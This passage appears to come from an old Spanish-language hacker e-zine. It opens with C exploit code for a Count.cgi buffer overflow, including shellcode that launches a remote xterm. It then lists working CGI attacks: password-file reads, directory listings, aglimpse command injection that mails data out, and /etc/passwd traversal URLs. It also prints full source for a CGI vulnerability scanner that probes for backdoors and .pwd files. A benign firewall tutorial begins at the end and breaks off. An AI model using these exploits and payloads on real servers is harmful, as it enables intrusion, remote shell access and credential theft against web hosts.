"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d\x5e\x18\x88\x46\x2c\x88\x46\x30"
"\x88\x46\x39\x88\x46\x4b\x8d\x56\x20\x89\x16\x8d\x56\x2d\x89\x56"
"\x04\x8d\x56\x31\x89\x56\x08\x8d\x56\x3a\x89\x56\x0c\x8d\x56\x10"
"\x89\x46\x10\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xbf"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"/usr/X11R6/bin/xterm0-ut0-display0";
char endpad[]=
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff";
int main (int argc, char *argv[]){
char *shellcode;
int cnt,ver;
unsigned long sp;
int retcount;
int dotquads[4];
int dispnum;
char displaynamebuf[255];
sp = cnt = ver = 0;
fprintf(stderr,"\tcounterterm - Gus\n");
if (argc<3) usage(argv[0]);
while ((cnt = getopt(argc,argv,"d:v:")) != EOF) {
switch(cnt){
case 'd':
{
retcount = sscanf(optarg, "%d.%d.%d.%d:%d",
&dotquads[0],
&dotquads[1],
&dotquads[2],
&dotquads[3], &dispnum);
if (retcount != 5) usage(argv[0]);
sprintf(displaynamebuf, "%03d.%03d.%03d.%03d:%01d",
dotquads[0], dotquads[1], dotquads[2],dotquads[3], dispnum);
shellcode=malloc(strlen((char *)optarg)+strlen(shell)+strlen(endpad));
sprintf(shellcode,"%s%s%s",shell,displaynamebuf,endpad);
}
break;
case 'v':
ver = atoi(optarg);
printf("Ver is %d\n",ver);
break;
default:
usage(argv[0]);
break;
}
}
sp = getsp(ver);
(void)doit(sp,shellcode);
exit(0);
}
unsigned long getsp(int ver) {
/* Get the stack pointer we should be using. This is version specific, and,
** as with all buffer overruns is more of a pointer than a precise value.
*/
unsigned long sp=0;
if (ver == 15) sp = 0xFFFFFF;
if (ver == 20) sp = 0XFFFFFF;
if (ver == 22) sp = 0xbfffa0b4;
if (ver == 23) sp = 0xbfffee38;
if (sp == 0) {
fprintf(stderr,"That version is not vulnerable.\n");
exit(1);
} else {
fprintf(stderr,"\tUsing offset 0x%x\n",sp);
return sp;
}
}
int usage (char *name) {
fprintf(stderr,"\tUsage:%s -d <display> -v <version>\n",name);
fprintf(stderr,"\te.g. %s -d 127.0.0.1:0 -v 22\n",name);
exit(1);
}
void doit (long sp, char *shellcode) {
int cnt;
char qs[7000];
char chain[] = "user=a";
for(cnt=0;cnt<4104;cnt+=4) {
qs[cnt+0] = sp & 0x000000ff;
qs[cnt+1] = (sp & 0x0000ff00) >> 8;
qs[cnt+2] = (sp & 0x00ff0000) >> 16;
qs[cnt+3] = (sp & 0xff000000) >> 24;
}
strcpy(qs,chain);
qs[strlen(chain)]=0x90;
qs[4104]= sp&0x000000ff;
qs[4105]=(sp&0x0000ff00)>>8;
qs[4106]=(sp&0x00ff0000)>>16;
qs[4107]=(sp&0xff000000)>>24;
qs[4108]= sp&0x000000ff;
qs[4109]=(sp&0x0000ff00)>>8;
qs[4110]=(sp&0x00ff0000)>>16;
qs[4111]=(sp&0xff000000)>>24;
qs[4112]= sp&0x000000ff;
qs[4113]=(sp&0x0000ff00)>>8;
qs[4114]=(sp&0x00ff0000)>>16;
qs[4115]=(sp&0xff000000)>>24;
qs[4116]= sp&0x000000ff;
qs[4117]=(sp&0x0000ff00)>>8;
qs[4118]=(sp&0x00ff0000)>>16;
qs[4119]=(sp&0xff000000)>>24;
qs[4120]= sp&0x000000ff;
qs[4121]=(sp&0x0000ff00)>>8;
qs[4122]=(sp&0x00ff0000)>>16;
qs[4123]=(sp&0xff000000)>>24;
qs[4124]= sp&0x000000ff;
qs[4125]=(sp&0x0000ff00)>>8;
qs[4126]=(sp&0x00ff0000)>>16;
qs[4127]=(sp&0xff000000)>>24;
qs[4128]= sp&0x000000ff;
qs[4129]=(sp&0x0000ff00)>>8;
qs[4130]=(sp&0x00ff0000)>>16;
qs[4131]=(sp&0xff000000)>>24;
strcpy((char*)&qs[4132],shellcode);
fprintf(stderr,"GET /cgi-bin/counter?%s\n\n",qs);
setenv("HTTP_USER_AGENT",qs,1);
setenv("QUERY_STRING",qs,1);
system("./Count.cgi");
}
---------------------------------cortar aqui---------------------------------
6.-WWWBOARD
Esta herramienta que nos sirve para crear foros de discusion en paginas webs
esta afectada por una grave vulnerabilidad, y es que nos permite leer el
login y el password (encriptado) del administrador del foro. Para conseguir
esa informacion simplemente has de introducir la siguiente liena en el
navegador:
<a href="http://host.objetivo.com/wwwboard/passwd.txt" target=nlink>http://host.objetivo.com/wwwboard/passwd.txt</a>
7.-TEST-CGI
Pues nada, si nos encontramos un servidor con el test-cgi podemos intentar la
siguiente url que nos dara informacion valiosa acerca de la maquina objetivo,
ya que nos dara un listado de los directorios en la raiz, con lo cual podemos
hacernos una idea de que software tiene instalado y podemos buscar si ese
software tiene alguna vulnerabilidad que nos pueda ayudar en nuestra tarea,
asi pues, simplemente hacemos:
<a href="http://host.objetivo.com/test-cgi?/" target=nlink>http://host.objetivo.com/test-cgi?/</a>*
8.-NPH-TEST-CGI
Parecido al anterior, este tambien nos hace un listado de directorios, con lo
cual tambien nos ayuda, este cgi a conseguir informacion valiosa de la
maquina simplemente con escribir en el navegador:
<a href="http://host.objetivo.com/nph-test-cgi?/" target=nlink>http://host.objetivo.com/nph-test-cgi?/</a>*
Veamos un ejemplo que lo deje mas claro, en un server vurnerable hacemos
<a href="http://host.objetivo.com/nph-test-cgi" target=nlink>http://host.objetivo.com/nph-test-cgi</a>
y obtenemos
CGI/1.0 test script report:
argc is 0. argv is .
SERVER_SOFTWARE = Apache/1.2.0
SERVER_NAME = omitido a proposito, aqui va la direccion del server
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/1.0
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT = image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /cgi-bin/nph-test-cgi
QUERY_STRING =
REMOTE_HOST = Ip remota omitida a propósito
REMOTE_ADDR = Ip remota omitida a propósito
REMOTE_USER =
CONTENT_TYPE =
CONTENT_LENGTH =
Esto no nos da nada interesante, pero fijaros que pasa en la cadena
query_string si hacemos lo siguiente:
<a href="http://host.objetivo.com/nph-test-cgi?/" target=nlink>http://host.objetivo.com/nph-test-cgi?/</a>*
CGI/1.0 test script report:
argc is 1. argv is /\*.
SERVER_SOFTWARE = Apache/1.2.0
SERVER_NAME = omitido a proposito, aqui va la direccion del server
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/1.0
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT = image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /cgi-bin/nph-test-cgi
QUERY_STRING = /System.81 /System.map /System.old /bin /boot /bzImage /bzimage.new /cdrom /dev /etc /home /lib /lost+found /mnt /mount /proc /quota.group /quota.user /root /sbin /shlib /tmp /usr /var /vmlinuz /vmlinuz.3com+ncr /vmlinuz.dtp /vmlinuz.ncr+riscom
REMOTE_HOST = Ip remota omitida a propósito
REMOTE_ADDR = Ip remota omitida a propósito
REMOTE_USER =
CONTENT_TYPE =
CONTENT_LENGTH =
vaya vaya pero que tenemos en QUERY_STRING, si resulta que es como hacer un
ls en la raiz :)
y aun podemos probar algo como:
<a href="http://host.objetivo.com/cgi-bin/nph-test-cgi?" target=nlink>http://host.objetivo.com/cgi-bin/nph-test-cgi?</a>*/
y obtenemos
CGI/1.0 test script report:
argc is 1. argv is \*/.
SERVER_SOFTWARE = Apache/1.2.0
SERVER_NAME = omitido a proposito, aqui va la direccion del server
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/1.0
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT = image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /cgi-bin/nph-test-cgi
QUERY_STRING = dns/ form_test/ formgen/ sec-cgi/ shared/ test/
REMOTE_HOST = Ip remota omitida a propósito
REMOTE_ADDR = Ip remota omitida a propósito
REMOTE_USER =
CONTENT_TYPE =
CONTENT_LENGTH
fijaros como vuelve a cambiar la cadena QUERY_STRING :))
9.-OTROS
Bueno, bufff, para no llenar mas el articulo os incluyo aqui este cajon de
sastre donde pongo otros ejemplos de cgi's vulnerables a un ataque remoto, de
estos hay muchos, pero como no es plan de comentarlos todos aqui os pongo
aqui ejemplos de algunos que me han dicho que funcionan seguro (o lo he
probado yo mismo) y en la seccion de links podras encontrar webs que si
tienen una buena coleccion de este tipo de vulnerabilidades
-AGLIMPSE
Para explotar este CGI hacemos algo como:
telnet host.objetivo.com 80
GET /cgi-bin/aglimpse/80|IFS=5;CMD=5mail5tu_direccion\@tu_host.com\
-CONVERT.BAS
Introducimos la siguiente linea en el navegador:
<a href="http://host.objetivo.com/scripts/convert.bas?../../etc/passwd" target=nlink>http://host.objetivo.com/scripts/convert.bas?../../etc/passwd</a>
-FINGER
Este es interesante, en algunos servers podemos encontrar un servicio de
finger, es decir para hacer finger a hosts remotos desde la web, y nosotros
usaremos ese cgi para conseguir valiosa informacion del host donde esta
hospedada la web, simplemente hemos de poner esta linea en el navegador
<a href="http://host.objetivo.com/cgi-bin/finger?@localhost" target=nlink>http://host.objetivo.com/cgi-bin/finger?@localhost</a>
-VIEWSOURCE
Pues nada, mas de lo mismo, abritmos netscape navigator y:
<a href="http://host.objetivo.com/cgi-bin/view-source?../../../../../../../etc/passwd" target=nlink>http://host.objetivo.com/cgi-bin/view-source?../../../../../../../etc/passwd</a>
CONCLUSION, LINKS Y HERRAMIENTAS
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Bueno, hasta aqui hemos llegado,desde luego no estan todos los que son, pero
espero que este texto haya cumplido su objetivo, que es introducir a la gente
al "maravilloso mundo de las vulnerabilidades en CGI's", como vemos, a veces
algo tan sencillo de explotar como un CGI nos puede dar acceso de root en un
server donde quizas habiamos provado ya sin exito algunas tecnicas de ataque.
Y es que cada vez el hacking se esta haciendo mas dificil y es conveniente, o
almenos eso creo, explorar todas las posibilidades, ademas espero (si, si,
esperar es lo mio) que no se utilizen algunos medios aqui expuestos para
simplemente conseguir modificar la pagina de algun server llevado por un
admin novato, pues nuestro objetivo es aprender y por que no, divertirnos, no
dar dolores de cabeza a un admin descuidado :)
Bueno, ademas ahora me gustaria incluiros aqui el codigo fuente de un escaner
para este tipo de vulnerabilidades, que se lo podeis pasar a un host para
enteraros si tiene algun cgi vulnerable, desde luego esto facilita el trabajo
:)
----------------------------------corta aqui---------------------------------
/* ---------------------------------------------------------------------- */
/* CGI scanner v1.35, m0dify and recode by su1d sh3ll //UnlG 1999 */
/* Tested on Slackware linux with kernel 2.0.35;RH 5.2(2.0.36); */
/* FreeBSD 2.2.2-3.1;IRIX 5.3 */
/* Source c0de by [CKS & Fdisk] */
/* gr33tz to: Packet St0rm and Ken, ADM crew, ech0 security and CKS, ch4x,*/
/* el8.org users, #c0de, rain.forest.puppy/[WT], MnemoniX , */
/*
hypoclear of lUSt,codex ;-) , K.A.L.U.G. */
/* fuck to: www.hackzone.ru , HDT... CHC fuck u 2 , llamaz */
/* NATO and bill klinton <---- double fuck! :-) huh */
/* c0ming s00n: add-on for CGI scanner - for scan "C" class subnet & logs */
/* -----------------------------------------------[10:01 17.05.99 UnlG]- */
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <signal.h>
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <ctype.h>
#include <arpa/nameser.h>
#include <sys/stat.h>
#include <strings.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
void main(int argc, char *argv[])
{
int sock,debugm=0;
struct in_addr addr;
struct sockaddr_in sin;
struct hostent *he;
unsigned long start;
unsigned long end;
unsigned long counter;
char foundmsg[] = "200";
char *cgistr;
char buffer[1024];
int count=0;
int numin,suxes=0;
char cgibuff[1024];
char *buff[100]; /* Don't u think 100 is enought? ;-)*/
char *cginame[100]; /* Don't u think 100 is enought? */
buff[1] = "GET /cgi-bin/unlg1.1 HTTP/1.0\n\n";
/* v0rt-fu when u modify source, check this first line.... that's my 8-) */
buff[2] = "GET /cgi-bin/rwwwshell.pl HTTP/1.0\n\n";
buff[3] = "GET /cgi-bin/phf HTTP/1.0\n\n";
buff[4] = "GET /cgi-bin/Count.cgi HTTP/1.0\n\n";
buff[5] = "GET /cgi-bin/test-cgi HTTP/1.0\n\n";
buff[6] = "GET /cgi-bin/nph-test-cgi HTTP/1.0\n\n";
buff[7] = "GET /cgi-bin/nph-publish HTTP/1.0\n\n";
buff[8] = "GET /cgi-bin/php.cgi HTTP/1.0\n\n";
buff[9] = "GET /cgi-bin/handler HTTP/1.0\n\n";
buff[10] = "GET /cgi-bin/webgais HTTP/1.0\n\n";
buff[11] = "GET /cgi-bin/websendmail HTTP/1.0\n\n";
buff[12] = "GET /cgi-bin/webdist.cgi HTTP/1.0\n\n";
buff[13] = "GET /cgi-bin/faxsurvey HTTP/1.0\n\n";
buff[14] = "GET /cgi-bin/htmlscript HTTP/1.0\n\n";
buff[15] = "GET /cgi-bin/pfdispaly.cgi HTTP/1.0\n\n";
buff[16] = "GET /cgi-bin/perl.exe HTTP/1.0\n\n";
buff[17] = "GET /cgi-bin/wwwboard.pl HTTP/1.0\n\n";
buff[18] = "GET /cgi-bin/www-sql HTTP/1.0\n\n";
buff[19] = "GET /cgi-bin/view-source HTTP/1.0\n\n";
buff[20] = "GET /cgi-bin/campas HTTP/1.0\n\n";
buff[21] = "GET /cgi-bin/aglimpse HTTP/1.0\n\n";
buff[22] = "GET /cgi-bin/glimpse HTTP/1.0\n\n";
buff[23] = "GET /cgi-bin/man.sh HTTP/1.0\n\n";
buff[24] = "GET /cgi-bin/AT-admin.cgi HTTP/1.0\n\n";
buff[25] = "GET /cgi-bin/filemail.pl HTTP/1.0\n\n";
buff[26] = "GET /cgi-bin/maillist.pl HTTP/1.0\n\n";
buff[27] = "GET /cgi-bin/jj HTTP/1.0\n\n";
buff[28] = "GET /cgi-bin/info2www HTTP/1.0\n\n";
buff[29] = "GET /cgi-bin/files.pl HTTP/1.0\n\n";
buff[30] = "GET /cgi-bin/finger HTTP/1.0\n\n";
buff[31] = "GET /cgi-bin/bnbform.cgi HTTP/1.0\n\n";
buff[32] = "GET /cgi-bin/survey.cgi HTTP/1.0\n\n";
buff[33] = "GET /cgi-bin/AnyForm2 HTTP/1.0\n\n";
buff[34] = "GET /cgi-bin/textcounter.pl HTTP/1.0\n\n";
buff[35] = "GET /cgi-bin/classifieds.cgi HTTP/1.0\n\n";
buff[36] = "GET /cgi-bin/environ.cgi HTTP/1.0\n\n";
buff[37] = "GET /cgi-bin/wrap HTTP/1.0\n\n";
buff[38] = "GET /cgi-bin/cgiwrap HTTP/1.0\n\n";
buff[39] = "GET /cgi-bin/guestbook.cgi HTTP/1.0\n\n";
buff[40] = "GET /cgi-bin/edit.pl HTTP/1.0\n\n";
buff[41] = "GET /cgi-bin/perlshop.cgi HTTP/1.0\n\n";
buff[42] = "GET /_vti_inf.html HTTP/1.0\n\n";
buff[43] = "GET /_vti_pvt/service.pwd HTTP/1.0\n\n";
buff[44] = "GET /_vti_pvt/users.pwd HTTP/1.0\n\n";
buff[45] = "GET /_vti_pvt/authors.pwd HTTP/1.0\n\n";
buff[46] = "GET /_vti_pvt/administrators.pwd HTTP/1.0\n\n";
buff[47] = "GET /_vti_bin/shtml.dll HTTP/1.0\n\n";
buff[48] = "GET /_vti_bin/shtml.exe HTTP/1.0\n\n";
buff[49] = "GET /cgi-dos/args.bat HTTP/1.0\n\n";
buff[50] = "GET /cgi-win/uploader.exe HTTP/1.0\n\n";
buff[51] = "GET /cgi-bin/rguest.exe HTTP/1.0\n\n";
buff[52] = "GET /cgi-bin/wguest.exe HTTP/1.0\n\n";
buff[53] = "GET /scripts/issadmin/bdir.htr HTTP/1.0\n\n";
buff[54] = "GET /scripts/CGImail.exe HTTP/1.0\n\n";
buff[55] = "GET /scripts/tools/newdsn.exe HTTP/1.0\n\n";
buff[56] = "GET /scripts/fpcount.exe HTTP/1.0\n\n";
buff[57] = "GET /cfdocs/expelval/openfile.cfm HTTP/1.0\n\n";
buff[58] = "GET /cfdocs/expelval/exprcalc.cfm HTTP/1.0\n\n";
buff[59] = "GET /cfdocs/expelval/displayopenedfile.cfm HTTP/1.0\n\n";
buff[60] = "GET /cfdocs/expelval/sendmail.cfm HTTP/1.0\n\n";
buff[61] = "GET /iissamples/exair/howitworks/codebrws.asp HTTP/1.0\n\n";
buff[62] = "GET /iissamples/sdk/asp/docs/codebrws.asp HTTP/1.0\n\n";
buff[63] = "GET /msads/Samples/SELECTOR/showcode.asp HTTP/1.0\n\n";
buff[64] = "GET /search97.vts HTTP/1.0\n\n";
buff[65] = "GET /carbo.dll HTTP/1.0\n\n"; /* we have at archive about 70 CGi ,
rule? ;-) */
cginame[1] = "UnlG - backd00r ";
cginame[2] = "THC - backd00r ";
cginame[3] = "phf..classic :) ";
cginame[4] = "Count.cgi ";
cginame[5] = "test-cgi ";
cginame[6] = "nph-test-cgi ";
cginame[7] = "nph-publish ";
cginame[8] = "php.cgi ";
cginame[9] = "handler ";
cginame[10] = "webgais ";
cginame[11] = "websendmail ";
cginame[12] = "webdist.cgi ";
cginame[13] = "faxsurvey ";
cginame[14] = "htmlscript ";
cginame[15] = "pfdisplay ";
cginame[16] = "perl.exe ";
cginame[17] = "wwwboard.pl ";
cginame[18] = "www-sql ";
cginame[19] = "view-source ";
cginame[20] = "campas ";
cginame[21] = "aglimpse ";
cginame[22] = "glimpse ";
cginame[23] = "man.sh ";
cginame[24] = "AT-admin.cgi ";
cginame[25] = "filemail.pl ";
cginame[26] = "maillist.pl ";
cginame[27] = "jj ";
cginame[28] = "info2www ";
cginame[29] = "files.pl ";
cginame[30] = "finger ";
cginame[31] = "bnbform.cgi ";
cginame[32] = "survey.cgi ";
cginame[33] = "AnyForm2 ";
cginame[34] = "textcounter.pl ";
cginame[35] = "classifields.cgi";
cginame[36] = "environ.cgi ";
cginame[37] = "wrap ";
cginame[38] = "cgiwrap ";
cginame[39] = "guestbook.cgi ";
cginame[40] = "edit.pl ";
cginame[41] = "perlshop.cgi ";
cginame[42] = "_vti_inf.html ";
cginame[43] = "service.pwd ";
cginame[44] = "users.pwd ";
cginame[45] = "authors.pwd ";
cginame[46] = "administrators ";
cginame[47] = "shtml.dll ";
cginame[48] = "shtml.exe ";
cginame[49] = "args.bat ";
cginame[50] = "uploader.exe ";
cginame[51] = "rguest.exe ";
cginame[52] = "wguest.exe ";
cginame[53] = "bdir - samples ";
cginame[54] = "CGImail.exe ";
cginame[55] = "newdsn.exe ";
cginame[56] = "fpcount.exe ";
cginame[57] = "openfile.cfm ";
cginame[58] = "exprcalc.cfm ";
cginame[59] = "dispopenedfile ";
cginame[60] = "sendmail.cfm ";
cginame[61] = "codebrws.asp ";
cginame[62] = "codebrws.asp 2 ";
cginame[63] = "showcode.asp ";
cginame[64] = "search97.vts ";
cginame[65] = "carbo.dll ";
if (argc<2)
{
printf("\n [-- CGI Checker 1.35. Modified by su1d sh3ll //UnlG --]");
printf("\nusage : %s host ",argv[0]);
printf("\n Or : %s host -d for debug mode\n\n",argv[0]);
exit(0);
}
if (argc>2)
{
if(strstr("-d",argv[2]))
{
debugm=1;
}
}
if ((he=gethostbyname(argv[1])) == NULL)
{
herror("gethostbyname");
exit(0);
}
printf("\n\n\t [CKS & Fdisk]'s CGI Checker - modify by su1d sh3ll //UnlG\n\n\n");
start=inet_addr(argv[1]);
counter=ntohl(start);
sock=socket(AF_INET, SOCK_STREAM, 0);
bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length);
sin.sin_family=AF_INET;
sin.sin_port=htons(80); /* <--- if u want scan another port change it */
/* codex when u again change this code pls call
proggi like this 1.35.1 or 1.35.[a..z] ;-) */
if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0)
{
perror("connect");
}
printf("\n\n\t [ Press any key to check out the httpd version...... ]\n");
getchar(); /* CKS sorry, but ur new piece of code don't work :-( */
send(sock, "HEAD / HTTP/1.0\n\n",17,0);
recv(sock, buffer, sizeof(buffer),0);
printf("%s",buffer);
close(sock);
printf("\n\t [ Press any key to search 4 CGI stuff...... ]\n");
getchar();
while(count++ < 65) /* huh! 65 cgi..... no secur1ty in th1s w0rld ;-)*/
{
sock=socket(AF_INET, SOCK_STREAM, 0);
bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length);
sin.sin_family=AF_INET;
sin.sin_port=htons(80);
if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0)
{
perror("connect");
}
printf("Searching for %s : ",cginame[count]);
for(numin=0;numin < 1024;numin++)
{
cgibuff[numin] = '\0';
}
send(sock, buff[count],strlen(buff[count]),0);
recv(sock, cgibuff, sizeof(cgibuff),0);
cgistr = strstr(cgibuff,foundmsg);
if( cgistr != NULL) {
printf("Found !! ;)\n");++suxes; }
else
printf("Not Found\n");
if(debugm==1)
{
printf("\n\n ------------------------\n %s \n ------------------------\n",cgibuff);
printf("Press any key to continue....\n"); getchar();
}
close(sock);
}
if (suxes){ printf("...have a nice hack... ;-)\n");}
else {printf ("...n0thing wr0ng on server..... hmm...sucks!\n");}
}
--------------------------------corta aqui-----------------------------------
Y para los usuarios de win NT, bueno, estos cuentan con una poderosa
herramienta llamada Retina que tambien escanea la posible existencia de
cgi's vulnerables en un site y para los usuarios de win9x, tambien hay algo,
un programa llamado webscan creado por David Litchfield que salio a la luz
hace poco y que nos podra ayudar en este aspecto.
LINKS
~~~~~
-ALGUNOS SITES DONDE ENCONTRARAS VULNERABILIDADES DE CGI's ENTRE OTRAS
<Ripe: Censurado! :->, quiza que busqueis vosotros
mismos>
-SITES CON HERRAMIENTAS DE ESCANEO DE CGI's
Retina---->http://www.eEye.com
Webscan--->http://www.cerberus-infosec.co.uk
NOTA: tambien podras encontrar escaners en las paginas de vulnerabilidades
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º * ARTICULO * º * TEMA * º * NIVEL * º
ºÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺ
º12.- Firewalls bajo LinuX º Security º Medio º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
[ Trycky ]
-=( 01 )=- Autor .
-=( 02 )=- Que es un firewall .
-=( 03 )=- Compilacion del nucleo .
-=( 04 )=- Firewall bajo linux .
-=( 05 )=- fireIPS .
-=( 06 )=- Documentacion .
-=( 07 )=- Otros .
-=-------------------------------------------------------------------------=-
-=( 01 )=--=( Autor )=-
Bueno en este documento intentare explicar el funcionamiento de los firewall
bajo linux. Espero que las explicaciones las podais entender dado que la
explicacion no es muy fuerte , bueno que leais . Este documento no va
explicar como joder un firewall, simplemente como funcionan. Pero cuando uno
sabe como funciona algo, ya esta preparado para saber como joderlo , En
teoria vaya . A un saludo par dan_^^ y para ripe : por poner todo lo que le
he mandado en el zine aunque solo hayan sido pocos documentos por ahora ya
ira a mas . Mucha info de aqui la he obtenido de varios metodos y por cuenta
propia, ante todo los meritos para los creadores del ipchains entre otros .
-=( 02 )=--=( Que es un firewall )=-
¨Que es un firewall o un cortafuegos? pues la explicacion mas sencilla y
simple es que corta el paso de algo , como los miticos cortes de tierra que
hacen en los montes para corta el paso a un incendio .
Con un firewall podemos denegar : protocolos , rangos de ip , puertos , etc .
O podemos redirigir puertos dependiendo del tipo de firewall pero su uso mas
extendido es el de denegar a la ip , etc . Voy a decir el uso mas extendido
si hay una red de una coporativa y no quieren que todos los ordenadores
tengan acceso a internet pues lo que harian seria dar unos rangos de Ip's a
los que quieren por ejemplo 192.168.0.0-100 y esta ip's serian las que
tendrian el acceso en cambio otras maquinas de la red se les denegaria.
Se supone en este ejemplo que tenemos una red interna con las ip's no validas
para internet del rango 192.168.*.* (rango de IPs de intranet);
Ejemplo :
192.168.0.0/100 192.168.0.0/100
/------------------\ SI /------------------\
|-----------| |-----------| |-----------|
|Ordenadores| -----------| Firewall |-----------| Internet |
|de la red | -----------| |-----------| |
|-----------| |-----------| |-----------|
\------------------/ NO
La demas maquinas = 192.168.1.0/100
Este ejemplo es muy tonto por que basta que me cambie la IP por una de las
que si tienen acceso a internet y listo . Ha la maquina que se encuentra el
firewall se le suele llamar bastion host y es la que llevaria el firewall .
Ahora pongo un ejemplo de un red algo mas segura donde habra dos firewalls
para no dejar pasar de una a otra con ciertos rango de IP's.
192.168.0.0/100
|-------| |--------------| |----------|
| RED 1 |---------------= Bastion Host =-----= Internet |
|-------| |--------------| |----------|
||
192.168.1.0/100 ||
|-------| |------------|
| RED 2 |----------------= Firewall 1 |
|-------| |------------|
En este ejemplo habria dos redes {1,2} la primera iria directa al bastion
host que tambien estaria configurado con un firewall que o bien en la red
podrian usar IP masquerade para asignarlos todos con una misma Ip y de
firewall para denegar todo lo que sea del exterior . O bien si se tiene
comprado un cierto rangos de Ip's para internet ir asignandolas cuando se
vayan conectando a internet . Despues viene la Red 2 a la cual el Firewall 1
les va a denagar pasar al bastion host , denegando todo exepto por ejemplo el
uso de las impresoras o de otras redes por lo tanto da igual que te cambies
la ip en esta red por que te va a denegar totalmente el acceso tengas la ip
que tengas pero te podria dar acceso a otras cosas , etc . Otra cosa para
mejorar la identificacion de los usuarios que pueden entrar seria poner algun
metodo de autentificacion para dar el acceso desde la red interna al
exterior.
[Daemon: En este ejemplo lo que hace el firewall es aislar la red 1 de la
red 2.
El bastion host se encarga de proteger a la red 1 y de manejar la
conexion a inet de las maquinas dela red 1 mediante IP
masquerading. ]
Un Firewall no tiene por que ser un Linux los routers tambien pueden hacer
de firewall dependiendo de cual lo que mas suelen hacer es discriminacion de
IP's a tmb estos se les suele llamar switches tambien y son mu caros no como
los hubs pero que para las redes caseras o medio caseras estan muy bien .
Tambien se puede reforzar la seguridad de los firewall guardando los logs
a primera vista parece seguro pero no lo es mucho , haciendo ip spoof o
cualquier ataque del estilo la seguridad no duraria mucho. Y esta claro que
linux como firewall nos puede salir como una herramienta muy barata para
asegurar algo la maquina . Mientras mas paranoico sea el firewall mas dificil
sera romper la seguridad del mismo. En este articulo solo me he centrado en
la seguridad del firewall del nucleo del linux tambien hay mas herramiestas
de firewall pero que o cuestan dinero o no son tan conocidas .
Tenemos que tener en cuenta una cosa si tenemos una conexion lenta con un
firewall nos ira un poco mas lenta dado que lo que hace es analizar cada
pakete que vaya llegado y ver si lo puede dejar pasar o lo deniega , por
ejemplo tenemos una peticion al puerto 80 desde la ip 194.53.45.3 por ejemplo
lo que hacemos es guardar el paquete en un buffer y lo analizamos y
comprobamos si existe alguna regla que lo deniege , etc . Si lo tenemos
configurado como para denegar todas las ip's ecepto el rango de la local pues
no se ya si no le responderia al paquete dejandolo colgado hasta que pase el
tiempo de vida de cada paquete o simplemente le madamos un paquete con el
flag FYN activado para terminar la conexion . Para entender esto tendrias que
saber algo del protocolo tcp simplemente dire que el flag es como lo que
tiene que decir el paquete cuando llegue a su destino esta el SYN (peticion
de conexion) , el PSH (para mandar los datos) , el FYN para (terminar la
conexion) . Y lo de la muerte del paquete cada paquete tiene un tiempo de
vida que si no es contestado muere si no seria un kaos todo los atakes spoof
serian relativamente mas faciles.
Si quieres mas info acerca del protocolo del tcp te sera facil buscar alguno
por internet hay a patadas .
[Daemon:RFC 793 -> Protocolo TCP. Cuando el firewall del nucleo de linux
recibe un paquete lo pone en tres "colas" que tiene. Input, output y
Forward, segun el origen del paquete. cada una de estas "colas"
tiene una politica determinada, si el paquete no "encaja" con
